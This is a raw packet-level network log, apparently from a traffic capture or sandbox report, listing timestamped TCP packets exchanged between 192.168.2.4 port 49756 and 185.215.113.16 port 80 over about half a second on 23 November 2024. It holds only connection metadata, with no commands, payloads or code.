Nov 23, 2024 17:44:47.138578892 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.142180920 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.142241001 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.142292976 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.142333984 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.146065950 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.146127939 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.146151066 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.146195889 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.149848938 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.149903059 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.149949074 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.150005102 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.153671026 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.153726101 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.153815031 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.153865099 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.157494068 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.157573938 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.157589912 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.157630920 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.161312103 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.161375046 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.161544085 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.161593914 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.165170908 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.165252924 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.165333986 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.168979883 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.169039011 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.169137001 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.169187069 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.172797918 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.172848940 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.172931910 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.172979116 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.176628113 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.176678896 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.176723003 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.176767111 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.180457115 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.180521011 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.180560112 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.180603027 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.184266090 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.184315920 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.296319008 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.296380043 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.296436071 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.296463966 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.298229933 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.298276901 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.298281908 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.298321009 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.301795959 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.301853895 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.311420918 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.311434984 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.311472893 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.311490059 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.312357903 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.312412977 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.312427998 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.312468052 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.315582991 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.315632105 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.315660954 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.315701008 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.318767071 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.318830967 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.318837881 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.318870068 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.321969986 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.322068930 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.322139025 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.325191975 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.325251102 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.325375080 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.325427055 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.328399897 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.328450918 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.328488111 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.328536034 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.331576109 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.331640959 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.331787109 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.331836939 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.334796906 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.334865093 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.334903955 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.334944963 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.338134050 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.338190079 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.338248968 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.338293076 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.341161013 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.341207027 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.341286898 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.341327906 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.344346046 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.344404936 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.344464064 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.344506025 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.347549915 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.347609043 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.347666979 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.347709894 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.350753069 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.350804090 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.350908995 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.350955009 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.353980064 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.354036093 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.354064941 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.354114056 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.357161999 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.357207060 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.357258081 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.357296944 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.360409021 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.360470057 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.360506058 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.360549927 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.363545895 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.363595009 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.363650084 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.363688946 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.366725922 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.366767883 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.366806984 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.366847038 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.369952917 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.370001078 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.370078087 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.370116949 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.373176098 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.373234987 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.373264074 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.373307943 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.376352072 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.376400948 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.376410007 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.376514912 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.379657030 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.379690886 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.379709959 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.379728079 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.382872105 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.382932901 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.382994890 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.383038044 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.386032104 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.386085033 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.386152029 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.386451006 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.389141083 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.389200926 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.389276981 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.389321089 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.392349958 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.392398119 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.392473936 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.392540932 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.395545959 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.395591021 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.395636082 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.395674944 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.398721933 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.398768902 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.398823023 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.398859978 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.402141094 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.402184010 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.402204037 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.402230978 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.405128956 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.405172110 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.405227900 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.405265093 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.408333063 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.408395052 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.408427954 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.408487082 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.411667109 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.411725044 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.411788940 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.411828041 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.414771080 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.414796114 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.414845943 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.414876938 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.417866945 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.417917967 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.478508949 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.478535891 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.478579998 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.478615046 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.479243994 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.479294062 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.479345083 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.479387999 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.482472897 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.482526064 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.482706070 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.482753992 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.485605955 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.485655069 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.485718012 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.485765934 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.488781929 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.488857985 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.489006042 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.489054918 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.491998911 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.492079973 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.513005972 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.513087034 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.513088942 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.513125896 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.514381886 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.514431953 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.514508963 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.514555931 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.517256021 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.517308950 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.517350912 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.517391920 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.519895077 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.519948959 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.519983053 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.520035982 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.522619963 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.522670031 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.522759914 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.522804022 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.525362015 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.525409937 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.525516987 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.525564909 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.528150082 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.528203964 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.528285980 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.528333902 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.530874014 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.530925989 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.530975103 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.531019926 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.533613920 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.533668041 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.533761024 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.533813000 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.536437035 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.536511898 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.536515951 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.536550999 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.539127111 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.539167881 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.539195061 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.539226055 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.541852951 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.541918993 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.541964054 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.542011023 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.544629097 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.544706106 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.544820070 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.544872999 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.547440052 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.547503948 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.547528982 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.547569036 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.550120115 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.550179005 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.550220013 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.550271034 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.550283909 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.552874088 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.552939892 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.552983999 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.553029060 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.555629015 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.555690050 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.555725098 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.555764914 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.558366060 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.558427095 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.558470011 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.558542013 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.561114073 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.561173916 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.561229944 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.561270952 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.563905001 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.563996077 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.564070940 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.566329002 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.566395998 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.566425085 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.566436052 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.568706036 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.568757057 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.568798065 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.568845034 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.571144104 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.571194887 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.571309090 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.571360111 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.573508024 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.573558092 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.573590040 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.573640108 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.575958014 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.576021910 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.576031923 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.576100111 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.578557014 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.578607082 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.578632116 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.578681946 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.581064939 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.581106901 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.581118107 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.581146002 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.583091021 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.583142996 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.583178043 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.583225012 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.585501909 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.585553885 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.585589886 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.585635900 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.588320017 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.588370085 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.588442087 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.588489056 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.590442896 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.590492964 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.590553045 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:47.590599060 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:47.592705011 CET	80	49756	185.215.113.16	192.168.2.4
